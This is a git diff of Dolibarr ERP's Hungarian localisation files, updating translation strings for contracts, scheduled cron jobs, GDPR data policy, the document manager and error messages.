-BoardExpiredServices=Lejárt szolgáltatások -BoardExpiredServicesShort=Lejárt szolgáltatások +BoardRunningServices=A szolgáltatások futnak +BoardRunningServicesShort=A szolgáltatások futnak +BoardExpiredServices=A szolgáltatások lejártak +BoardExpiredServicesShort=A szolgáltatások lejártak ServiceStatus=Szolgáltatások állapota DraftContracts=Szerződés tervezetek -CloseRefusedBecauseOneServiceActive=A szerződést nem lehet lezárni, mivel van legalább egy nyitott szolgáltatás -ActivateAllContracts=Aktiválja az összes szerződéses sort +CloseRefusedBecauseOneServiceActive=A szerződés nem zárható le, mivel legalább egy nyitott szolgáltatás van rajta +ActivateAllContracts=Az összes szerződéssor aktiválása CloseAllContracts=Minden szerződés sor lezárása DeleteContractLine=Szerződés sor törlése ConfirmDeleteContractLine=Biztos törölni akarja a szerződés sort? MoveToAnotherContract=Szolgáltatás átmozgatása másik szerződéshez. ConfirmMoveToAnotherContract=Új cél szerződést választottam a szolgáltatásnak, és át akarok helyezni a szolgáltatást. ConfirmMoveToAnotherContractQuestion=Melyik létező szerződéshez (ugyan azon harmadik fél) szeretné átmozgatni a szolgáltatást? -PaymentRenewContractId=Szerződés sor megújítása (%s) +PaymentRenewContractId=Szerződés megújítása %s (szolgáltatás %s) ExpiredSince=Lejárati dátum NoExpiredServices=Nincs lejárt aktív szolgáltatások ListOfServicesToExpireWithDuration=%s napon belül lejáró szolgáltatások @@ -89,9 +90,9 @@ NoteListOfYourExpiredServices=Ez a lista csak azoknak a szerződéseknek a szolg StandardContractsTemplate=Általános szerződés minta ContactNameAndSignature=A %s-hez név és aláírás OnlyLinesWithTypeServiceAreUsed=Csak a "Service" szolgáltatás sorok lesznek klónozva. -ConfirmCloneContract=Biztos benne, hogy klónozni kívánja a %s szerződést? -LowerDateEndPlannedShort=Az aktív szolgáltatások tervezett befejezési dátuma -SendContractRef=A szerződésre vonatkozó információk __REF__ +ConfirmCloneContract=Biztosan klónozni szeretné a(z) %s szerződést? +LowerDateEndPlannedShort=Az aktív szolgáltatások alacsonyabb tervezett befejezési dátuma +SendContractRef=Szerződés információ __REF__ OtherContracts=Egyéb szerződések ##### Types de contacts ##### TypeContact_contrat_internal_SALESREPSIGN=Értékesítési képviselő a szerződés aláírásakor @@ -99,6 +100,8 @@ TypeContact_contrat_internal_SALESREPFOLL=Értékesítési képviselő a szerző TypeContact_contrat_external_BILLING=Számlázandó ügyfél TypeContact_contrat_external_CUSTOMER=Ügyfél kapcsolat tartó TypeContact_contrat_external_SALESREPSIGN=A szerződést aláíró személy -HideClosedServiceByDefault=Alapértelmezés szerint elrejti a zárt szolgáltatásokat +HideClosedServiceByDefault=A zárt szolgáltatások elrejtése alapértelmezés szerint ShowClosedServices=Zárt szolgáltatások megjelenítése -HideClosedServices=Zárt szolgáltatások elrejtése +HideClosedServices=Lezárt szolgáltatások elrejtése +UserStartingService=Felhasználó indító szolgáltatás +UserClosingService=Felhasználózárás szolgáltatás diff --git a/htdocs/langs/hu_HU/cron.lang b/htdocs/langs/hu_HU/cron.lang index 5800c0354ec..f5473b43c16 100644 --- a/htdocs/langs/hu_HU/cron.lang +++ b/htdocs/langs/hu_HU/cron.lang @@ -1,91 +1,100 @@ # Dolibarr language file - Source file is en_US - cron # About page # Right -Permission23101 = Ütemezett feladatok megtekintése -Permission23102 = Ütemezett feladatok létrehozása / frissítése -Permission23103 = Ütemezett feladatok törlése +Permission23101 = Ütemezett feladat olvasása +Permission23102 = Ütemezett feladat létrehozása/frissítése +Permission23103 = Ütemezett feladat törlése Permission23104 = Ütemezett feladat végrehajtása # Admin -CronSetup=Scheduled job management setup -URLToLaunchCronJobs=URL to check and launch qualified cron jobs from a browser -OrToLaunchASpecificJob=Or to check and launch a specific job from a browser -KeyForCronAccess=Security key for URL to launch cron jobs -FileToLaunchCronJobs=Command line to check and launch qualified cron jobs -CronExplainHowToRunUnix=On Unix environment you should use the following crontab entry to run the command line each 5 minutes -CronExplainHowToRunWin=On Microsoft(tm) Windows environment you can use Scheduled Task tools to run the command line each 5 minutes -CronMethodDoesNotExists=Class %s does not contains any method %s -CronMethodNotAllowed=Method %s of class %s is in blacklist of forbidden methods -CronJobDefDesc=Cron job profiles are defined into the module descriptor file. When module is activated, they are loaded and available so you can administer the jobs from the admin tools menu %s. -CronJobProfiles=List of predefined cron job profiles +CronSetup=Ütemezett feladatkezelés beállítása +URLToLaunchCronJobs=URL a minősített cron-feladatok böngészőből történő ellenőrzéséhez és elindításához +OrToLaunchASpecificJob=Vagy egy adott feladat ellenőrzéséhez és elindításához böngészőből +KeyForCronAccess=Biztonsági kulcs az URL-hez a cron feladatok elindításához +FileToLaunchCronJobs=Parancssor a minősített cron-feladatok ellenőrzéséhez és elindításához +CronExplainHowToRunUnix=Unix környezetben a következő crontab bejegyzést kell használnia a parancssor 5 percenkénti futtatásához +CronExplainHowToRunWin=A Microsoft(tm) Windows környezetben az Ütemezett feladat eszközöket használhatja a parancssor 5 percenkénti futtatására +CronMethodDoesNotExists=A %s osztály nem tartalmaz %s metódust +CronMethodNotAllowed=A %s osztály %s metódusa a tiltott metódusok feketelistáján van +CronJobDefDesc=A Cron jobprofilok a modulleíró fájlban vannak meghatározva. Amikor a modul aktiválva van, azok betöltődnek és elérhetők, így a feladatokat a %s adminisztrációs eszközök menüből adminisztrálhatja. +CronJobProfiles=Előre meghatározott cron feladatprofilok listája # Menu EnabledAndDisabled=Engedélyezve és letiltva # Page list -CronLastOutput=A legutóbbi futás kimenete -CronLastResult=Latest result code -CronCommand=Command -CronList=Időzített feladatok -CronDelete=Ütemezett feladatok törlése -CronConfirmDelete=Biztosan törölni szeretné ezeket az ütemezett feladatokat? -CronExecute=Indítsa el az ütemezett feladatot -CronConfirmExecute=Biztos benne, hogy most szeretné végrehajtani ezeket az ütemezett feladatokat? -CronInfo=Scheduled job module allows to schedule jobs to execute them automatically. Jobs can also be started manually. -CronTask=Feladat +CronLastOutput=Utolsó futtatás kimenete +CronLastResult=Legfrissebb eredménykód +CronCommand=Parancs +CronList=Ütemezett munkák +CronDelete=Ütemezett munkák törlése +CronConfirmDelete=Biztosan törölni szeretné ezeket az ütemezett munkákat? +CronExecute=Launch now +CronConfirmExecute=Biztosan most végre akarja hajtani ezeket az ütemezett feladatokat? +CronInfo=Az ütemezett feladat modul lehetővé teszi a feladatok ütemezését az automatikus végrehajtásra. A munkák manuálisan is elindíthatók. +CronTask=Fealdat CronNone=Nincs -CronDtStart=Nem hamarabb mint -CronDtEnd=Nem később mint +CronDtStart=Még nem +CronDtEnd=Nem utána CronDtNextLaunch=Következő végrehajtás -CronDtLastLaunch=Legutóbbi végrehajtás időpontja +CronDtLastLaunch=A legutóbbi végrehajtás kezdő dátuma CronDtLastResult=A legutóbbi végrehajtás befejezési dátuma -CronFrequency=Gyakoriság +CronFrequency=Frekvencia CronClass=Osztály CronMethod=Módszer CronModule=Modul -CronNoJobs=Nincsenek feladatok +CronNoJobs=Nincs regisztrált állás CronPriority=Prioritás -CronLabel=Felirat -CronNbRun=Number of launches -CronMaxRun=Maximum number of launches -CronEach=Every -JobFinished=Job launched and finished +CronLabel=Címke +CronNbRun=Indítások száma +CronMaxRun=Az indítások maximális száma +CronEach=Minden +JobFinished=A feladat elindítása és befejezése Scheduled=Ütemezett #Page card -CronAdd= Add jobs -CronEvery=Végezze el mindegyik feladatot -CronObject=Instance/Object to create +CronAdd= Munkák hozzáadása +CronEvery=Minden feladat végrehajtása +CronObject=Létrehozandó példány/objektum CronArgs=Paraméterek CronSaveSucess=Sikeres mentés CronNote=Megjegyzés -CronFieldMandatory=A %s mezőket kötelező kitölteni -CronErrEndDateStartDt=A befejezés időpontja nem lehet hamarabb mint a kezdet -StatusAtInstall=Status at module installation -CronStatusActiveBtn=Menetrend +CronFieldMandatory=A %s mezők kitöltése kötelező +CronErrEndDateStartDt=A befejező dátum nem lehet korábbi a kezdő dátumnál +StatusAtInstall=Modultelepítési állapot +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Letiltás -CronTaskInactive=This job is disabled (not scheduled) +CronTaskInactive=Ez a feladat le van tiltva (nincs ütemezve) CronId=Id -CronClassFile=Fájlnév osztályokkal -CronModuleHelp=Name of Dolibarr module directory (also work with external Dolibarr module).
      For example to call the fetch method of Dolibarr Product object /htdocs/product/class/product.class.php, the value for module is
      product -CronClassFileHelp=The relative path and file name to load (path is relative to web server root directory).
      For example to call the fetch method of Dolibarr Product object htdocs/product/class/product.class.php, the value for class file name is
      product/class/product.class.php -CronObjectHelp=The object name to load.
      For example to call the fetch method of Dolibarr Product object /htdocs/product/class/product.class.php, the value for class file name is
      Product -CronMethodHelp=The object method to launch.
      For example to call the fetch method of Dolibarr Product object /htdocs/product/class/product.class.php, the value for method is
      fetch -CronArgsHelp=The method arguments.
      For example to call the fetch method of Dolibarr Product object /htdocs/product/class/product.class.php, the value for paramters can be
      0, ProductRef -CronCommandHelp=The system command line to execute. +CronClassFile=Fájlnév osztállyal +CronModuleHelp=A Dolibarr modul könyvtárának neve (külső Dolibarr modullal is működik).
      Például a Dolibarr Product objektum /htdocs/product/class/product.class.php lekérési metódusának meghívásához a modul értéke
      product +CronClassFileHelp=A betöltendő relatív elérési út és fájlnév (az elérési út a webszerver gyökérkönyvtárához viszonyítva).
      Például a Dolibarr Product objektum htdocs/product/class/product.class.php lekérési metódusának meghívásához az osztályfájlnév értéke:
      product/class/ termék.osztály.php +CronObjectHelp=A betöltendő objektum neve.
      Például a /htdocs/product/class/product.class.php Dolibarr Product objektum lekérési metódusának meghívásához az osztályfájlnév értéke
      Termék +CronMethodHelp=Az indítandó objektum metódus.
      Például a /htdocs/product/class/product.class.php Dolibarr Product objektum lekérési metódusának meghívásához a metódus értéke
      fetch +CronArgsHelp=A metódus argumentumai.
      Például a Dolibarr Product objektum /htdocs/product/class/product.class.php lekérési metódusának meghívásához a paraméterek értéke lehet
      0, ProductRef +CronCommandHelp=A rendszer végrehajtandó parancssora. CronCreateJob=Új ütemezett feladat létrehozása -CronFrom=Küldő +CronFrom=Feladó # Info # Common CronType=Feladat típusa -CronType_method=Call method of a PHP Class +CronType_method=PHP osztály hívási metódusa CronType_command=Shell parancs -CronCannotLoadClass=Cannot load class file %s (to use class %s) -CronCannotLoadObject=Class file %s was loaded, but object %s was not found into it -UseMenuModuleToolsToAddCronJobs=Go into menu "Home - Admin tools - Scheduled jobs" to see and edit scheduled jobs. -JobDisabled=Feladat le tiltva +CronCannotLoadClass=Nem sikerült betölteni a %s osztályfájlt (a %s osztály használatához) +CronCannotLoadObject=A(z) %s osztályfájl betöltve, de a(z) %s objektum nem található benne +UseMenuModuleToolsToAddCronJobs=Lépjen be a "Főoldal - Felügyeleti eszközök - Ütemezett munkák" menübe az ütemezett munkák megtekintéséhez és szerkesztéséhez. +JobDisabled=A feladat letiltva MakeLocalDatabaseDumpShort=Helyi adatbázis biztonsági mentése -MakeLocalDatabaseDump=Create a local database dump. Parameters are: compression ('gz' or 'bz' or 'none'), backup type ('mysql', 'pgsql', 'auto'), 1, 'auto' or filename to build, number of backup files to keep -WarningCronDelayed=Attention, for performance purpose, whatever is next date of execution of enabled jobs, your jobs may be delayed to a maximum of %s hours, before being run. -DATAPOLICYJob=Data cleaner and anonymizer -JobXMustBeEnabled=Job %s must be enabled +MakeLocalDatabaseDump=Helyi adatbázis kiíratásának létrehozása. A paraméterek a következők: tömörítés ('gz' vagy 'bz' vagy 'none'), biztonsági mentés típusa ('mysql', 'pgsql', 'auto'), 1, 'auto' vagy felépítendő fájlnév, megőrzendő biztonsági mentési fájlok száma +MakeSendLocalDatabaseDumpShort=Helyi adatbázis biztonsági másolatának küldése +MakeSendLocalDatabaseDump=Helyi adatbázis biztonsági másolatának küldése e-mailben. A paraméterek a következők: címzett, feladó, tárgy, üzenet, fájlnév (az elküldött fájl neve), szűrő ('sql' csak az adatbázis biztonsági mentéséhez) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Tisztítsa meg a befejezetlen munkát +CleanUnfinishedCronjob=Tisztítsa meg a feldolgozás alatt elakadt cronjob-ot, amikor a folyamat már nem fut +WarningCronDelayed=Figyelem, a teljesítmény érdekében, függetlenül attól, hogy az engedélyezett feladatok végrehajtásának következő dátuma legyen, a feladatok legfeljebb %s órával késlekedhetnek, mielőtt futnának. +DATAPOLICYJob=Adattisztító és anonimizáló +JobXMustBeEnabled=A %s feladatot engedélyezni kell +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes -LastExecutedScheduledJob=Last executed scheduled job -NextScheduledJobExecute=Next scheduled job to execute -NumberScheduledJobError=Number of scheduled jobs in error +LastExecutedScheduledJob=Utoljára végrehajtott ütemezett feladat +NextScheduledJobExecute=Következő ütemezett végrehajtási feladat +NumberScheduledJobError=A hibás ütemezett feladatok száma +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/hu_HU/datapolicy.lang b/htdocs/langs/hu_HU/datapolicy.lang new file mode 100644 index 00000000000..15413288d14 --- /dev/null +++ b/htdocs/langs/hu_HU/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Vevő +DATAPOLICY_TIERS_PROSPECT = Leendő +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Beszállító +DATAPOLICY_CONTACT_CLIENT = Vevő +DATAPOLICY_CONTACT_PROSPECT = Leendő +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Beszállító +DATAPOLICY_ADHERENT = Tag +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/hu_HU/dict.lang b/htdocs/langs/hu_HU/dict.lang index 9b900be987b..ba714276cfa 100644 --- a/htdocs/langs/hu_HU/dict.lang +++ b/htdocs/langs/hu_HU/dict.lang @@ -21,7 +21,7 @@ CountryNL=Hollandia CountryHU=Magyarország CountryRU=Oroszország CountrySE=Svédország -CountryCI=Ivoiry Coast +CountryCI=Elefántcsontpart CountrySN=Szenegál CountryAR=Argentína CountryCM=Kamerun @@ -250,7 +250,9 @@ CountryMF=Szent Márton ##### Civilities ##### CivilityMME=Asszony +CivilityMMEShort=Asszony CivilityMR=Úr +CivilityMRShort=Úr CivilityMLE=Kisasszony CivilityMTRE=Mester CivilityDR=Doktor diff --git a/htdocs/langs/hu_HU/ecm.lang b/htdocs/langs/hu_HU/ecm.lang index 092babdb69c..bce597e4788 100644 --- a/htdocs/langs/hu_HU/ecm.lang +++ b/htdocs/langs/hu_HU/ecm.lang @@ -1,12 +1,13 @@ # Dolibarr language file - Source file is en_US - ecm -ECMNbOfDocs=A könyvtárban található dokumentumok száma +ECMNbOfDocs=Dokumentumok száma a könyvtárban ECMSection=Könyvtár ECMSectionManual=Kézi könyvtár ECMSectionAuto=Automatikus könyvtár ECMSectionsManual=Kézi fa ECMSectionsAuto=Automata fa +ECMSectionsMedias=Medias tree ECMSections=Könyvtárak -ECMRoot=ECM Root +ECMRoot=ECM gyökér ECMNewSection=Új könyvtár ECMAddSection=Könyvtár hozzáadása ECMCreationDate=Létrehozás dátuma @@ -14,36 +15,38 @@ ECMNbOfFilesInDir=Fájlok száma a könyvtárban ECMNbOfSubDir=Alkönyvtárok száma ECMNbOfFilesInSubDir=Fájlok száma az alkönyvtárakban ECMCreationUser=Létrehozó -ECMArea=DMS / ECM terület -ECMAreaDesc=A DMS / ECM (dokumentumkezelő rendszer / elektronikus tartalomkezelés) terület lehetővé teszi, hogy bármilyen dokumentumot mentsen, megosszon és gyorsan keressen a Dolibarr-ban. -ECMAreaDesc2=* Az automatikus könyvtárak önmagukat töltik föl amikor dokumentumot adunk valamilyen elem kártyájához.
      * A kézi könyvtárakban elmenthetünk dokumentumokat amik nincsenek csatolva egyetlen elemhez sem. +ECMArea=DMS/ECM terület +ECMAreaDesc=A DMS/ECM (Dokumentumkezelő rendszer / Elektronikus Tartalomkezelés) terület lehetővé teszi a Dolibarrban mindenféle dokumentum mentését, megosztását és gyors keresését. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=%s könyvtár törölve lett. -ECMSectionWasCreated=A(z) %s könyvtár létrehozásra került. +ECMSectionWasCreated=A(z) %s könyvtár létrejött. ECMSearchByKeywords=Kulcsszavak szerinti keresés ECMSearchByEntity=Objektum szerinti keresés ECMSectionOfDocuments=Dokumentumok könyvtárai ECMTypeAuto=Automatikus -ECMDocsBy=Documents linked to %s +ECMDocsBy=Dokumentumok linkelve: %s ECMNoDirectoryYet=Nem lett könyvtár létrehozva ShowECMSection=Könyvtár mutatása DeleteSection=Könyvtár eltávolítása ConfirmDeleteSection=Kérem erősítse meg, valóban törli a %s könyvtárat ? ECMDirectoryForFiles=Relatív könyvtár a fájlokhoz -CannotRemoveDirectoryContainsFilesOrDirs=Az eltávolítás nem lehetséges, mert fájlokat vagy alkönyvtárakat tartalmaz +CannotRemoveDirectoryContainsFilesOrDirs=Az eltávolítás nem lehetséges, mert néhány fájlt vagy alkönyvtárat tartalmaz CannotRemoveDirectoryContainsFiles=Az eltávolítás nem lehetséges, mert tartalmaz néhány fájlt ECMFileManager=Fájl kezelő -ECMSelectASection=Válasszon mappát a könyvtárfában ... -DirNotSynchronizedSyncFirst=Úgy tűnik, hogy ezt a könyvtárat az ECM modulon kívül hozták létre vagy módosították. Először a "Resync" gombra kell kattintania a lemez és az adatbázis szinkronizálásához, hogy megkapja ennek a könyvtárnak a tartalmát. -ReSyncListOfDir=A könyvtárak újraszinkronizálása -HashOfFileContent=A fájl tartalmának hash értéke +ECMSelectASection=Válasszon ki egy könyvtárat a fában... +DirNotSynchronizedSyncFirst=Ez a könyvtár úgy tűnik, hogy az ECM modulon kívül jött létre vagy módosult. Először az "Újraszinkronizálás" gombra kell kattintania a lemez és az adatbázis szinkronizálásához a könyvtár tartalmának lekéréséhez. +ReSyncListOfDir=A könyvtárak listájának újraszinkronizálása +HashOfFileContent=Fájltartalom hash NoDirectoriesFound=Nem található könyvtár -FileNotYetIndexedInDatabase=A fájl még nincs indexelve az adatbázisba (próbálja meg újra feltölteni) -ExtraFieldsEcmFiles=Extrafields Ecm Files -ExtraFieldsEcmDirectories=Extrafields Ecm Directories -ECMSetup=ECM Setup -GenerateImgWebp=Duplicate all images with another version with .webp format -ConfirmGenerateImgWebp=If you confirm, you will generate an image in .webp format for all images currently into this folder (subfolders are not included)... -ConfirmImgWebpCreation=Confirm all images duplication -SucessConvertImgWebp=A képek sokszorosítása sikerült +FileNotYetIndexedInDatabase=A fájl még nincs indexelve az adatbázisban (próbálja meg újra feltölteni) +ExtraFieldsEcmFiles=Extra mezők ECM fájlok +ExtraFieldsEcmDirectories=Extramezős ECM-könyvtárak +ECMSetup=ECM beállítása +GenerateImgWebp=Minden kép megkettőzése egy másik, .webp formátumú verzióval +ConfirmGenerateImgWebp=Ha megerősíti, létrehoz egy képet .webp formátumban az összes jelenleg ebben a mappában lévő képhez (az almappákat nem tartalmazza)... +ConfirmImgWebpCreation=Az összes kép másolásának megerősítése +SucessConvertImgWebp=A képek sikeresen megkettőzve ECMDirName=Könyvtár neve ECMParentDirectory=Szülőkönyvtár diff --git a/htdocs/langs/hu_HU/errors.lang b/htdocs/langs/hu_HU/errors.lang index ac8af20bdc5..54b5b229177 100644 --- a/htdocs/langs/hu_HU/errors.lang +++ b/htdocs/langs/hu_HU/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=A %s bejelentkezés már létezik. ErrorGroupAlreadyExists=A %s csoport már létezik. ErrorEmailAlreadyExists=A %s e-mail már létezik. ErrorRecordNotFound=A rekord nem található. +ErrorRecordNotFoundShort=Not found ErrorFailToCopyFile=Nem sikerült átmásolni a(z) '%s fájlt a '%s' mappába. ErrorFailToCopyDir=Nem sikerült átmásolni a '%s könyvtárat a '%s' könyvtárba. ErrorFailToRenameFile=Nem sikerült átnevezni a(z) '%s fájlt '%s' névre. @@ -48,6 +49,7 @@ ErrorBadImageFormat=A képfájl formátuma nem támogatott (a PHP nem támogatja ErrorBadDateFormat=A '%s' érték rossz dátumformátumú ErrorWrongDate=Nem helyes a dátum! ErrorFailedToWriteInDir=Nem sikerült írni a %s könyvtárba +ErrorFailedToBuildArchive=Failed to build archive file %s ErrorFoundBadEmailInFile=Hibás e-mail szintaxist találtunk a fájl %s sorához (példa: %s, email=%s) ErrorUserCannotBeDelete=A felhasználó nem törölhető. Talán a Dolibarr entitásokhoz kapcsolódik. ErrorFieldsRequired=Néhány kötelező mező üresen maradt. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Kérjük, töltse ki a jelölőnégyzetek listáját ErrorNoValueForRadioType=Kérjük, töltse ki a rádiólista értékét ErrorBadFormatValueList=A listaérték nem tartalmazhat több vesszőt: %s, de legalább egy kell hozzá: kulcs,érték ErrorFieldCanNotContainSpecialCharacters=A %s mező nem tartalmazhat speciális karaktereket. -ErrorFieldCanNotContainSpecialNorUpperCharacters=A %s mező nem tartalmazhat speciális karaktereket, nagybetűket és nem tartalmazhat csak számokat. +ErrorFieldCanNotContainSpecialNorUpperCharacters=The field %s must not contain special characters, nor upper case characters, and must start with an alphabetical character (a-z) ErrorFieldMustHaveXChar=A %s mezőnek legalább %s karakterből kell állnia. ErrorNoAccountancyModuleLoaded=Nincs aktiválva könyvelési modul ErrorExportDuplicateProfil=Ez a profilnév már létezik ehhez az exportkészlethez. @@ -95,9 +97,9 @@ ErrorWrongValueForField=Mező: %s: '%s' nem egyezik a %s re ErrorHtmlInjectionForField= %s mező : Az ' %s a09a4b739f17f értéket nem tartalmazó ErrorFieldValueNotIn=Mező: %s: "%s" nem található a %s/%s mezőben ErrorFieldRefNotIn=Mező: %s: '%s' nem %s létező hivatkozás +ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. ErrorsOnXLines=%s hiba található ErrorFileIsInfectedWithAVirus=A víruskereső program nem tudta ellenőrizni a fájlt (lehet, hogy a fájlt vírus fertőzte meg) -ErrorSpecialCharNotAllowedForField=Speciális karakterek nem engedélyezettek a "%s" mezőben ErrorNumRefModel=Létezik egy hivatkozás az adatbázisban (%s), és nem kompatibilis ezzel a számozási szabállyal. A modul aktiválásához távolítsa el a rekordot vagy az átnevezett hivatkozást. ErrorQtyTooLowForThisSupplier=A mennyiség túl alacsony ehhez a szállítóhoz, vagy ennek a szállítónak nincs ára meghatározva ehhez a termékhez ErrorOrdersNotCreatedQtyTooLow=Néhány rendelés nem jött létre a túl alacsony mennyiség miatt @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=A letiltáshoz az objektumok állapo ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Az objektumok állapotának 'Piszkozat' vagy 'Letiltva' állapotúnak kell lennie az engedélyezéshez ErrorNoFieldWithAttributeShowoncombobox=A „%s” objektum definíciójában egyetlen mező sem rendelkezik „showoncombobox” tulajdonsággal. Nem lehet megmutatni a kombolistát. ErrorFieldRequiredForProduct=A '%s' mező kitöltése kötelező a(z) %s termékhez +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. ProblemIsInSetupOfTerminal=Probléma a %s terminál beállításában. ErrorAddAtLeastOneLineFirst=Először adjon hozzá legalább egy sort ErrorRecordAlreadyInAccountingDeletionNotPossible=Hiba, a rekord már átkerült a könyvelésbe, a törlés nem lehetséges. @@ -271,14 +274,14 @@ ErrorYouMustFirstSetupYourChartOfAccount=Először be kell állítania a számla ErrorFailedToFindEmailTemplate=Nem sikerült megtalálni a %s kódnevű sablont ErrorDurationForServiceNotDefinedCantCalculateHourlyPrice=A szolgáltatás időtartama nincs meghatározva. Nincs mód az óraárak kiszámítására. ErrorActionCommPropertyUserowneridNotDefined=A felhasználó tulajdonosa kötelező -ErrorActionCommBadType=Selected event type (id: %s, code: %s) do not exist in Event Type dictionary +ErrorActionCommBadType=A kiválasztott eseménytípus (azonosító: %s, kód: %s) nem létezik az Eseménytípus szótárban CheckVersionFail=A verzióellenőrzés sikertelen ErrorWrongFileName=A fájl nevében nem lehet __SOMETHING__ ErrorNotInDictionaryPaymentConditions=Nem szerepel a Fizetési feltételek szótárban, kérjük módosítsa. ErrorIsNotADraft=%s nem piszkozat ErrorExecIdFailed=Nem lehet végrehajtani az "id" parancsot -ErrorBadCharIntoLoginName=Jogosulatlan karakter a bejelentkezési névben -ErrorRequestTooLarge=Hiba, a kérés túl nagy +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired ErrorNotApproverForHoliday=Nem Ön az %s szabadság jóváhagyója ErrorAttributeIsUsedIntoProduct=Ez az attribútum egy vagy több termékváltozatban használatos ErrorAttributeValueIsUsedIntoProduct=Ez az attribútumérték egy vagy több termékváltozatban használatos @@ -289,8 +292,17 @@ ErrorInvoiceLoadThirdPartyKey=Harmadik féltől származó „%s” kulcs nincs ErrorDeleteLineNotAllowedByObjectStatus=A sor törlését az objektum aktuális állapota nem teszi lehetővé ErrorAjaxRequestFailed=Kérés sikertelen ErrorThirpdartyOrMemberidIsMandatory=Harmadik fél vagy partnerségi tag kötelező -ErrorFailedToWriteInTempDirectory=Failed to write in temp directory -ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorFailedToWriteInTempDirectory=Nem sikerült írni a temp könyvtárba +ErrorQuantityIsLimitedTo=A mennyiség korlátozott: %s +ErrorFailedToLoadThirdParty=Nem sikerült harmadik fél megtalálása/betöltése innen: id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=This payment mode is not a bank account +ErrorStripeCustomerNotFoundCreateFirst=Stripe customer is not set for this thirdparty (or set to a value deleted on Stripe side). Create (or re-attach) it first. +ErrorCharPlusNotSupportedByImapForSearch=IMAP search is not able to search into sender or recipient for a string containing the character + +ErrorTableNotFound=Table %s not found +ErrorValueForTooLow=Value for %s is too low +ErrorValueCantBeNull=Value for %s can't be null +ErrorDateOfMovementLowerThanDateOfFileTransmission=The date of the bank transaction can't be lower than the date of the file transmission +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) # Warnings 